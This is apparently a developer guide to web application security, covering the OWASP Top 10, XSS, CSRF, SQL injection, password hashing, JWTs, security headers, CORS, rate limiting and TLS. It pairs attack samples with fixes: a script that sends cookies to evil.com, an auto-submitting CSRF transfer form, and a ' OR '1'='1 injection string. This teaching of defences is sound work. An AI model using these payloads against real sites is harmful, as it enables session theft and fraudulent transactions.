Web application security is no longer optional. With data breaches costing organizations an average of $4.45 million in 2023 according to IBM, and with attack surfaces growing as applications become more complex, developers must treat security as a first-class concern from day one. This guide covers the OWASP Top 10 vulnerabilities, common attack vectors, and practical defenses you can implement today.
TL;DR — Security Quick Reference
The OWASP Top 10 lists the most critical web application security risks. XSS is prevented with output encoding and CSP. CSRF is mitigated with SameSite cookies and CSRF tokens. SQL injection is stopped with parameterized queries. Use bcrypt/Argon2 for passwords, HTTPS everywhere, strict security headers, and audit dependencies regularly.
Key Takeaways
- Always use parameterized queries or prepared statements — never concatenate user input into SQL.
- Implement Content Security Policy (CSP) headers to prevent XSS attacks.
- Use SameSite=Strict or SameSite=Lax cookies combined with CSRF tokens for state-changing requests.
- Hash passwords with bcrypt (cost 12+) or Argon2id — never store plaintext or use MD5/SHA-1.
- Sign JWTs with RS256 or EdDSA — never use the "none" algorithm.
- Enable HSTS, X-Frame-Options, X-Content-Type-Options, and Referrer-Policy headers.
- Run npm audit, Snyk, or Dependabot on every CI pipeline run.
- Rate-limit authentication endpoints to prevent brute-force and credential stuffing attacks.
OWASP Top 10 (2021 Edition)
The Open Web Application Security Project (OWASP) publishes a list of the 10 most critical web application security risks every few years. The 2021 edition reflects the evolving threat landscape with three new categories and reorganized priorities.
| # | Category | Description |
|---|---|---|
| A01 | A01: Broken Access Control | Moving up from #5 to #1, broken access control means that users can act outside their intended permissions. This includes bypassing access checks, viewing other users' data, elevating privileges, and metadata manipulation. 94% of tested applications had some form of broken access control. |
| A02 | A02: Cryptographic Failures | Previously called "Sensitive Data Exposure," this category focuses on failures in cryptography that lead to data exposure. Includes transmitting data in clear text, weak cryptographic algorithms (MD5, SHA-1, DES), and improper key management. |
| A03 | A03: Injection | SQL, NoSQL, OS command, LDAP, and other injection flaws occur when untrusted data is sent to an interpreter as part of a command or query. An attacker can use injection to access unauthorized data, execute commands, and compromise the entire system. |
| A04 | A04: Insecure Design | A new category in 2021 focusing on design and architectural flaws. This is distinct from implementation bugs. Secure design requires threat modeling, secure design patterns, and reference architectures — not just secure coding. |
| A05 | A05: Security Misconfiguration | The most common issue — 90% of applications were tested with some form of misconfiguration. Missing hardening, unnecessary features enabled, default credentials, overly informative error messages, and missing security headers all fall here. |
| A06 | A06: Vulnerable and Outdated Components | Using components (libraries, frameworks, modules) with known vulnerabilities. Now includes both known CVEs and unmonitored components. Log4Shell (CVE-2021-44228) demonstrated how a single library vulnerability can affect millions of applications. |
| A07 | A07: Identification and Authentication Failures | Previously "Broken Authentication." Includes permitting weak passwords, missing MFA, improper session management, and credential stuffing vulnerabilities. Attackers have access to billions of leaked credential pairs from breaches. |
| A08 | A08: Software and Data Integrity Failures | A new 2021 category covering code and infrastructure that does not protect against integrity violations. Includes insecure CI/CD pipelines, auto-updates without signature verification, and deserialization of untrusted data. |
| A09 | A09: Security Logging and Monitoring Failures | Without logging and monitoring, breaches cannot be detected. This category covers insufficient logging, missing alerting, unmonitored logs, and log messages that are not actionable. Most breaches take months to detect without proper monitoring. |
| A10 | A10: Server-Side Request Forgery (SSRF) | A new addition for 2021. SSRF flaws occur when a web application fetches a remote resource without validating the user-supplied URL. Attackers can use SSRF to scan internal networks, access cloud metadata endpoints (AWS IMDS), or reach internal services. |
Cross-Site Scripting (XSS)
XSS is one of the most prevalent vulnerabilities, affecting millions of websites. It occurs when an attacker injects malicious scripts into content delivered to other users. A successful XSS attack can steal session tokens, redirect users, deface websites, or install keyloggers.
XSS Types
Reflected XSS
The malicious script is embedded in a URL and reflected off the server in the response. The victim must click a crafted link. Common in search results pages and error messages.
Stored XSS (Persistent)
The malicious script is stored on the server (database, file system) and served to every user who views the affected content. This is more dangerous since no user interaction beyond visiting the page is required. Common in comment systems, profile fields, and user-generated content.
DOM-Based XSS
The vulnerability exists in client-side code. The DOM is modified with attacker-controlled data. The server never sees the payload. Common with JavaScript that reads from location.hash, document.referrer, or localStorage.
XSS Prevention Strategies
Output Encoding
Always encode untrusted data before inserting it into HTML. Use context-appropriate encoding: HTML entity encoding for HTML content, JavaScript encoding for JS contexts, URL encoding for URLs.
// DANGEROUS: Raw user input in HTML
const name = req.query.name;
res.send('<h1>Hello ' + name + '</h1>');
// Attacker input:
// ?name=<script>document.location='https://evil.com/steal?c='+document.cookie</script>// SAFE: Use a trusted escaping library
import { escape } from 'html-escaper';
const name = escape(req.query.name);
res.send('<h1>Hello ' + name + '</h1>');
// Output: <script>... (harmless)Safe DOM APIs
Prefer textContent over innerHTML. Use createElement and setAttribute instead of building HTML strings. When you must use innerHTML, sanitize input with DOMPurify.
// DANGEROUS: innerHTML with user data
element.innerHTML = userInput;
// SAFE: textContent (no HTML parsing)
element.textContent = userInput;
// SAFE: createElement API
const span = document.createElement('span');
span.textContent = userInput;
container.appendChild(span);
// SAFE with sanitization: DOMPurify
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);
// React is safe by default (JSX auto-escapes)
return <p>{userInput}</p>; // Safe
// But dangerouslySetInnerHTML is not:
return <div dangerouslySetInnerHTML={{__html: userInput}} />; // DANGERContent Security Policy
CSP is a browser security mechanism that restricts what resources a page can load. A strong CSP policy can prevent XSS even when other defenses fail.
# Strong CSP header (Next.js / Express)
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{RANDOM_NONCE}';
style-src 'self' 'nonce-{RANDOM_NONCE}';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self' https://api.yourapp.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests;
# Next.js: generate per-request nonce
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';
import crypto from 'crypto';
export function middleware(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
const csp = [
"default-src 'self'",
"script-src 'self' 'nonce-" + nonce + "'",
"style-src 'self' 'nonce-" + nonce + "'",
"frame-ancestors 'none'",
].join('; ');
const response = NextResponse.next();
response.headers.set('Content-Security-Policy', csp);
response.headers.set('x-nonce', nonce);
return response;
}Cross-Site Request Forgery (CSRF)
CSRF attacks trick authenticated users into submitting requests they did not intend to make. A malicious site can cause a user's browser to send requests to another site where the user is logged in. The server sees a legitimate-looking request with valid session cookies.
How CSRF Works
The attack exploits the browser's behavior of automatically including cookies with cross-origin requests. The attacker hosts a page with a hidden form or image tag that sends a request to the target site. The user's browser includes their session cookie, and the server processes the request.
<!-- Attacker's malicious page (evil.com) -->
<html>
<body onload="document.forms[0].submit()">
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker_account" />
<input type="hidden" name="amount" value="1000" />
</form>
</body>
</html>
<!-- If the user is logged into bank.com and visits evil.com,
the browser auto-submits with the user's session cookie.
bank.com processes it as a legitimate request. -->CSRF Prevention
SameSite Cookies
The SameSite cookie attribute controls when cookies are sent with cross-site requests. SameSite=Strict prevents all cross-site cookie sending. SameSite=Lax allows cookies in top-level navigations. This is the simplest and most effective CSRF defense.
// Express.js: Set SameSite cookie
app.use(session({
secret: process.env.SESSION_SECRET,
cookie: {
httpOnly: true, // No JS access
secure: true, // HTTPS only
sameSite: 'lax', // CSRF protection
maxAge: 3600000, // 1 hour
},
}));
// SameSite values:
// 'strict' - Never sent in cross-site requests (breaks OAuth flows)
// 'lax' - Sent in safe cross-site navigation (GET links) only
// 'none' - Always sent (requires Secure=true)CSRF Tokens
Generate a unique, unpredictable token for each user session. Include this token in all state-changing forms and AJAX requests. Verify the token server-side before processing the request.
// Server: Generate and verify CSRF token
import crypto from 'crypto';
// Generate token on session creation
function generateCSRFToken(): string {
return crypto.randomBytes(32).toString('hex');
}
// Middleware to verify token
function csrfMiddleware(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(req.method)) {
const token = req.headers['x-csrf-token'] || req.body._csrf;
const sessionToken = req.session.csrfToken;
if (!token || !sessionToken || token !== sessionToken) {
return res.status(403).json({ error: 'CSRF token invalid' });
}
}
next();
}
// Client: Include token in requests
// Fetch API
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCSRFTokenFromCookie(),
},
body: JSON.stringify({ amount: 100, to: 'alice' }),
});SQL Injection
SQL injection remains one of the most dangerous vulnerabilities, allowing attackers to read sensitive data, modify database contents, execute admin operations, and even execute OS commands in some configurations. Despite being well understood, it still appears in the OWASP Top 10.
How SQL Injection Works
When user input is directly concatenated into SQL queries, an attacker can modify the query structure. By injecting SQL syntax, they can bypass authentication, extract data from other tables, or delete entire databases.
// DANGEROUS: Direct concatenation
const username = req.body.username;
const query = "SELECT * FROM users "
+ "WHERE username = '" + username + "'";
// Attack input:
// username = ' OR '1'='1
// Result query:
// SELECT * FROM users WHERE username = ''
// OR '1'='1'
// Returns ALL users!// SAFE: Parameterized query (node-postgres)
const username = req.body.username;
const result = await pool.query(
'SELECT * FROM users WHERE username = $1',
[username] // Passed separately
);
// Attack input is treated as literal data:
// SELECT * FROM users WHERE username = ?
// Param: ' OR '1'='1
// Returns 0 rows (no such username)ORM Protection
Modern ORMs like Sequelize, TypeORM, Prisma, and Hibernate use parameterized queries by default. Avoid raw query methods and be careful with orderBy clauses, which may not be parameterized.
// Prisma (safe by default)
const user = await prisma.user.findUnique({
where: { email: userInput }, // Safe
});
// Prisma raw query — be careful!
// DANGEROUS:
const results = await prisma.$queryRawUnsafe(
'SELECT * FROM users WHERE email = ' + userEmail
);
// SAFE with tagged template:
const results = await prisma.$queryRaw`
SELECT * FROM users WHERE email = ${userEmail}
`;
// TypeORM — safe with QueryBuilder:
const user = await userRepository
.createQueryBuilder('user')
.where('user.email = :email', { email: userInput })
.getOne();
// ORDER BY — user controls sort column? Use whitelist!
const ALLOWED_SORT_COLUMNS = ['name', 'email', 'createdAt'];
const sortColumn = ALLOWED_SORT_COLUMNS.includes(req.query.sort)
? req.query.sort : 'createdAt';
// Now safe to use in ORDER BYAuthentication Security
Authentication is the gateway to your application. Weak authentication is one of the top causes of data breaches. This section covers password security, MFA, and session management.
Password Hashing
Never store plaintext passwords or use fast general-purpose hash functions (MD5, SHA-1, SHA-256). Use purpose-built password hashing algorithms that are intentionally slow and memory-intensive. OWASP recommends Argon2id as the primary choice.
// Node.js: bcrypt (battle-tested, widely used)
import bcrypt from 'bcryptjs';
// Hashing (on registration/password change)
const COST_FACTOR = 12; // ~250ms on modern hardware
const hash = await bcrypt.hash(plaintextPassword, COST_FACTOR);
await db.users.update({ passwordHash: hash }, { where: { id: userId } });
// Verification (on login)
const isValid = await bcrypt.compare(plaintextPassword, storedHash);
if (!isValid) {
// Constant-time comparison prevents timing attacks
throw new AuthError('Invalid credentials');
}
// Node.js: Argon2id (OWASP primary recommendation)
import argon2 from 'argon2';
const hash = await argon2.hash(plaintextPassword, {
type: argon2.argon2id,
memoryCost: 19456, // 19 MiB
timeCost: 2, // 2 iterations
parallelism: 1, // 1 thread
});
const isValid = await argon2.verify(storedHash, plaintextPassword);
// Speed comparison (attacker perspective, GPU RTX 4090):
// MD5: ~25 billion hashes/sec <- Never use
// SHA-256: ~10 billion hashes/sec <- Never use
// bcrypt: ~50,000 hashes/sec <- Acceptable
// Argon2id: ~1,000 hashes/sec <- BestMulti-Factor Authentication
MFA adds a second layer of authentication beyond passwords. Implement TOTP (Time-based One-Time Passwords) using apps like Google Authenticator or Authy. Consider hardware security keys (FIDO2/WebAuthn) for high-security applications.
// TOTP (Time-based OTP) with otplib
import { authenticator } from 'otplib';
// Setup: Generate secret for new user
const secret = authenticator.generateSecret(); // 'JBSWY3DPEHPK3PXP'
const otpAuthUrl = authenticator.keyuri(
userEmail,
'YourApp',
secret
);
// Show otpAuthUrl as QR code for user to scan
// Store secret (encrypted) in database
// Verification: Check TOTP code at login
const isValidOTP = authenticator.verify({
token: req.body.totpCode,
secret: user.totpSecret,
});
if (!isValidOTP) {
throw new AuthError('Invalid OTP code');
}Session Management
Generate cryptographically random session IDs with at least 128 bits of entropy. Regenerate session IDs after authentication. Set proper expiration times. Invalidate sessions on logout and implement idle timeout.
// Secure session configuration (Express + Redis)
import session from 'express-session';
import RedisStore from 'connect-redis';
import { createClient } from 'redis';
const redisClient = createClient();
await redisClient.connect();
app.use(session({
store: new RedisStore({ client: redisClient }),
secret: process.env.SESSION_SECRET!, // 64+ random bytes
name: '__Host-session', // __Host- prefix enforces HTTPS + path=/
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true, // No document.cookie access
secure: true, // HTTPS only
sameSite: 'lax', // CSRF protection
maxAge: 60 * 60 * 1000, // 1 hour
},
}));
// Regenerate session ID after login (prevents session fixation)
req.session.regenerate((err) => {
if (err) throw err;
req.session.userId = user.id;
req.session.roles = user.roles;
});JWT Security
JSON Web Tokens are widely used for stateless authentication, but they are frequently misconfigured. A single JWT security mistake can allow attackers to forge tokens and impersonate any user.
Critical JWT Security Risks
- alg: none — Setting algorithm to "none" bypasses verification entirely
- Algorithm Confusion — Attacker downgrades RS256 to HS256, using public key as HMAC secret
- Weak secrets — HS256 requires at least 256-bit secret; avoid guessable secrets
- No expiration — Tokens without exp claim are valid forever
Algorithm Security
Always specify and verify the signing algorithm server-side. The "alg: none" attack bypasses verification. The algorithm confusion attack downgrades RS256 to HS256. Use RS256, ES256, or EdDSA for asymmetric signing.
// Node.js: Using jsonwebtoken library
import jwt from 'jsonwebtoken';
import fs from 'fs';
// INSECURE: HS256 with weak secret
const token = jwt.sign({ userId: 123 }, 'secret'); // NEVER do this
// SECURE: RS256 with key pair
const privateKey = fs.readFileSync('./private.pem');
const publicKey = fs.readFileSync('./public.pem');
// Sign (auth server)
const token = jwt.sign(
{
sub: userId,
roles: user.roles,
iss: 'https://auth.yourapp.com',
aud: 'https://api.yourapp.com',
},
privateKey,
{
algorithm: 'RS256', // Asymmetric — verify with public key only
expiresIn: '15m', // Short-lived access token
}
);
// Verify (resource server)
const payload = jwt.verify(token, publicKey, {
algorithms: ['RS256'], // Whitelist — prevents algorithm confusion
issuer: 'https://auth.yourapp.com',
audience: 'https://api.yourapp.com',
});
// NEVER accept 'none' algorithm:
// algorithms: ['RS256'] explicitly blocks itExpiration and Refresh Tokens
Set short expiration times for access tokens (15-60 minutes). Use refresh tokens with longer lifetimes stored securely (HttpOnly cookies). Implement refresh token rotation to detect theft.
// Refresh token pattern with rotation
interface Tokens {
accessToken: string; // Short-lived: 15 minutes
refreshToken: string; // Long-lived: 7 days (stored in Redis)
}
async function refreshTokens(refreshToken: string): Promise<Tokens> {
// 1. Check refresh token exists and is not revoked
const stored = await redis.get('refresh:' + refreshToken);
if (!stored) throw new Error('Refresh token invalid or expired');
const { userId, rotationVersion } = JSON.parse(stored);
// 2. Revoke old refresh token (rotation)
await redis.del('refresh:' + refreshToken);
// 3. Issue new token pair
const newRefreshToken = crypto.randomBytes(40).toString('hex');
await redis.set(
'refresh:' + newRefreshToken,
JSON.stringify({ userId, rotationVersion: rotationVersion + 1 }),
{ EX: 7 * 24 * 60 * 60 } // 7 days
);
const accessToken = jwt.sign({ sub: userId }, privateKey, {
algorithm: 'RS256',
expiresIn: '15m',
});
return { accessToken, refreshToken: newRefreshToken };
}Security Headers
Security headers are HTTP response headers that instruct browsers to enable security mechanisms. They provide defense-in-depth and protect against common attacks with minimal implementation effort.
| Header | Recommended Value | Purpose |
|---|---|---|
| Content-Security-Policy | default-src 'self'; script-src 'self' 'nonce-{n}' | Controls which resources the browser is allowed to load. Prevents XSS, data injection attacks, and clickjacking. Use nonces or hashes for inline scripts instead of unsafe-inline. |
| Strict-Transport-Security | max-age=31536000; includeSubDomains; preload | HSTS tells browsers to always use HTTPS for your domain. This prevents SSL stripping attacks and protocol downgrade attacks. Use a max-age of at least one year (31536000 seconds) and include subdomains. |
| X-Frame-Options | DENY | Prevents your page from being embedded in iframes on other sites. This mitigates clickjacking attacks. Use DENY or SAMEORIGIN. CSP frame-ancestors is the modern replacement. |
| X-Content-Type-Options | nosniff | Prevents browsers from MIME-sniffing responses. Set to "nosniff" to force browsers to respect the declared Content-Type. Prevents attacks that rely on confusing the browser about file types. |
| Referrer-Policy | strict-origin-when-cross-origin | Controls how much referrer information is included in requests. Use "strict-origin-when-cross-origin" to prevent leaking full URLs to third parties while preserving analytics. |
| Permissions-Policy | camera=(), microphone=(), geolocation=() | Controls which browser features (camera, microphone, geolocation) can be used. Restricts features your application does not need, reducing the attack surface. |
// Express.js: Set all security headers
import helmet from 'helmet';
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"], // Add nonce in middleware
styleSrc: ["'self'"],
imgSrc: ["'self'", 'data:', 'https:'],
connectSrc: ["'self'"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
},
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true,
},
frameguard: { action: 'deny' },
noSniff: true,
referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
}));
// Nginx: Security headers block
# add_header Content-Security-Policy
# "default-src 'self'; frame-ancestors 'none'" always;
# add_header Strict-Transport-Security
# "max-age=31536000; includeSubDomains; preload" always;
# add_header X-Frame-Options DENY always;
# add_header X-Content-Type-Options nosniff always;
# add_header Referrer-Policy strict-origin-when-cross-origin always;CORS Configuration
Cross-Origin Resource Sharing (CORS) controls which origins can access your API. Misconfigured CORS can allow malicious sites to make authenticated requests to your API on behalf of your users.
Allowlisting Origins
Never use the wildcard (*) for origins when credentials are involved. Maintain an explicit allowlist of permitted origins. Validate the Origin header against this allowlist before sending Access-Control-Allow-Origin.
// Express: CORS with origin validation
import cors from 'cors';
const ALLOWED_ORIGINS = [
'https://app.yoursite.com',
'https://www.yoursite.com',
...(process.env.NODE_ENV === 'development'
? ['http://localhost:3000']
: []),
];
app.use(cors({
origin: (origin, callback) => {
// Allow requests with no origin (mobile apps, curl, server-to-server)
if (!origin) return callback(null, true);
if (ALLOWED_ORIGINS.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true, // Allow cookies (requires explicit origin)
methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token'],
maxAge: 86400, // Cache preflight for 24 hours
}));Rate Limiting and DDoS Protection
Rate limiting prevents abuse of your API endpoints. Without it, attackers can brute-force passwords, scrape data, spam endpoints, and overwhelm your infrastructure.
Rate Limiting Strategies
// Express: Rate limiting with express-rate-limit + Redis
import rateLimit from 'express-rate-limit';
import RedisStore from 'rate-limit-redis';
// Global API rate limit
const apiLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // 100 requests per window
standardHeaders: 'draft-7',
legacyHeaders: false,
store: new RedisStore({ sendCommand: (...args) => redis.sendCommand(args) }),
message: { error: 'Too many requests, please try again later.' },
});
// Strict login rate limit (prevent brute-force)
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 5, // 5 attempts per window
skipSuccessfulRequests: true, // Only count failures
message: { error: 'Too many failed login attempts. Try again in 15 minutes.' },
});
// Password reset: prevent enumeration + abuse
const resetLimiter = rateLimit({
windowMs: 60 * 60 * 1000, // 1 hour
max: 3,
});
app.use('/api/', apiLimiter);
app.post('/api/auth/login', loginLimiter, loginHandler);
app.post('/api/auth/forgot-password', resetLimiter, resetHandler);Dependency Security
Modern applications depend on hundreds or thousands of third-party packages. Each dependency is a potential attack surface. Supply chain attacks (like the SolarWinds breach) have shown that trusted packages can be compromised.
Automated Vulnerability Scanning
Run npm audit, yarn audit, or pnpm audit in your CI pipeline. Integrate Snyk, Dependabot, or GitHub Dependabot for automated pull requests when vulnerabilities are discovered. Set severity thresholds that fail the build.
# Run in CI — fail on high/critical vulnerabilities
npm audit --audit-level=high
# GitHub Actions: Add Dependabot
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: npm
directory: /
schedule:
interval: weekly
open-pull-requests-limit: 10
labels:
- dependencies
- security
# GitHub Actions: Snyk security scan
- name: Run Snyk security scan
uses: snyk/actions/node@master
with:
args: --severity-threshold=high
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}Lock Files
Always commit lock files (package-lock.json, yarn.lock, pnpm-lock.yaml). Lock files ensure reproducible builds and prevent dependency confusion attacks. Use npm ci instead of npm install in CI/CD.
CVSS Vulnerability Scoring
The Common Vulnerability Scoring System (CVSS) provides a standardized way to rate the severity of security vulnerabilities on a scale from 0 to 10.
| Score Range | Severity | Response Time | Examples |
|---|---|---|---|
| 9.0 – 10.0 | Critical | Immediate (<24h) | Log4Shell, Heartbleed, Spring4Shell |
| 7.0 – 8.9 | High | Within 7 days | RCE, SQL injection, auth bypass |
| 4.0 – 6.9 | Medium | Within 30 days | XSS, CSRF, sensitive data exposure |
| 0.1 – 3.9 | Low | Within 90 days | Info disclosure, low-impact DoS |
| 0.0 | None | Plan as needed | No security impact |
Security Testing
Security testing should be integrated into every stage of the software development lifecycle, not just done once before deployment.
Static Analysis (SAST)
SAST tools analyze source code without executing it. Tools include Semgrep, ESLint security plugins, SonarQube, and CodeQL. Integrate into your IDE and CI pipeline for immediate feedback.
Dynamic Analysis (DAST)
DAST tools test running applications from the outside. OWASP ZAP and Burp Suite are popular choices. Run DAST against your staging environment in CI. Catch vulnerabilities like XSS, injection, and authentication bypasses.
Penetration Testing
Periodic penetration testing by security professionals provides a comprehensive assessment. Use a structured methodology like OWASP Testing Guide. Consider bug bounty programs for continuous security assessment.
HTTPS and TLS
HTTPS encrypts all communication between clients and servers. Without it, session tokens, credentials, and sensitive data are visible to network attackers. HTTPS is no longer optional — it is the baseline.
HTTP Strict Transport Security (HSTS)
HSTS tells browsers to always use HTTPS for your domain. This prevents SSL stripping attacks and protocol downgrade attacks. Use a max-age of at least one year (31536000 seconds) and include subdomains.
# Nginx: Enable HSTS
server {
listen 443 ssl http2;
server_name yourapp.com www.yourapp.com;
# HSTS: 1 year, include subdomains, preload
add_header Strict-Transport-Security
"max-age=31536000; includeSubDomains; preload" always;
# Redirect all HTTP to HTTPS
# (In a separate server block)
}
server {
listen 80;
server_name yourapp.com www.yourapp.com;
return 301 https://$host$request_uri;
}
# TLS configuration best practices
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:...;
ssl_prefer_server_ciphers off; # TLS 1.3 client preference
ssl_session_timeout 1d;
ssl_session_cache shared:MozSSL:10m;
ssl_stapling on; # OCSP stapling
ssl_stapling_verify on;Frequently Asked Questions
Q1: What is the difference between authentication and authorization?
Authentication verifies who you are (e.g., username and password check). Authorization determines what you are allowed to do (e.g., checking if you have permission to access a resource). Both must be implemented correctly — authentication without authorization means all users can access all resources, and authorization without authentication means you cannot know who is making the request.
Q2: Is HTTPS enough to secure a web application?
HTTPS encrypts data in transit but is not sufficient on its own. You also need: input validation and output encoding to prevent injection attacks, proper authentication and session management, authorization checks on every request, security headers, dependency scanning, and regular security testing. HTTPS prevents network eavesdropping and man-in-the-middle attacks but does not protect against application-layer vulnerabilities.
Q3: How do I prevent SQL injection in an ORM?
Most ORMs (Prisma, TypeORM, Sequelize, Hibernate) use parameterized queries by default for standard operations. However, you must be careful with: raw query methods (where you can pass string templates), orderBy or orderByRaw clauses where user input determines sort columns, and dynamic column selection. Always use the ORM's safe API for passing values and validate user input used in ORDER BY or GROUP BY clauses against a whitelist.
Q4: What should I store in JWT access tokens?
Store only the minimum necessary claims in access tokens: user ID, roles/permissions, expiration time (exp), issued-at time (iat), and issuer (iss). Never store sensitive data like passwords, full personal information, or financial data in JWTs. Remember that JWT payloads are base64-encoded, not encrypted — they are readable by anyone with the token unless you use JWE (JSON Web Encryption).
Q5: How should I handle security incidents and vulnerability disclosure?
Establish a security.txt file at /.well-known/security.txt with your responsible disclosure policy and contact information. When a vulnerability is reported: acknowledge within 24 hours, fix critical vulnerabilities within 72 hours, fix high vulnerabilities within 7 days, communicate progress to reporters, and consider a CVE assignment for significant vulnerabilities. Consider a bug bounty program for continuous researcher engagement.
Q6: What is the difference between XSS and CSRF?
XSS (Cross-Site Scripting) injects malicious scripts into your page that run in other users' browsers — the attack targets your users through your site. CSRF (Cross-Site Request Forgery) tricks users' browsers into making unintended requests to your site — the attack targets your site through your users' browsers. XSS breaks the same-origin policy from the target site's perspective; CSRF exploits the browser's behavior of including credentials in cross-origin requests.
Q7: Should I roll my own cryptography?
Almost never. Cryptographic primitives are extremely difficult to implement correctly. Even experienced cryptographers make mistakes. Use well-audited, widely deployed libraries: the Web Crypto API in browsers, libsodium for low-level needs, bcrypt/Argon2 libraries for password hashing, and battle-tested TLS libraries. The principle is "do not roll your own crypto" (DYOR). If you genuinely need a custom cryptographic primitive, you need a formal security audit.
Q8: How do I securely store API keys and secrets in production?
Never hard-code secrets in source code or commit them to version control. Use a secrets management solution: HashiCorp Vault, AWS Secrets Manager, Google Secret Manager, or Azure Key Vault. For containers, inject secrets as environment variables at runtime. Use short-lived credentials with automatic rotation where possible. Audit secret access logs. For development, use .env files (never committed) with tools like dotenv-vault for team sharing.
Security Checklist Summary
- Parameterized queries for SQL injection prevention
- CSP + output encoding for XSS prevention
- SameSite cookies + CSRF tokens
- Argon2id/bcrypt for password hashing
- RS256-signed JWTs with 15-minute expiration
- Full security header suite (helmet.js)
- HTTPS + HSTS with preload
- Automated dependency scanning in CI
- Rate limiting on authentication endpoints
- Comprehensive security logging and monitoring alerts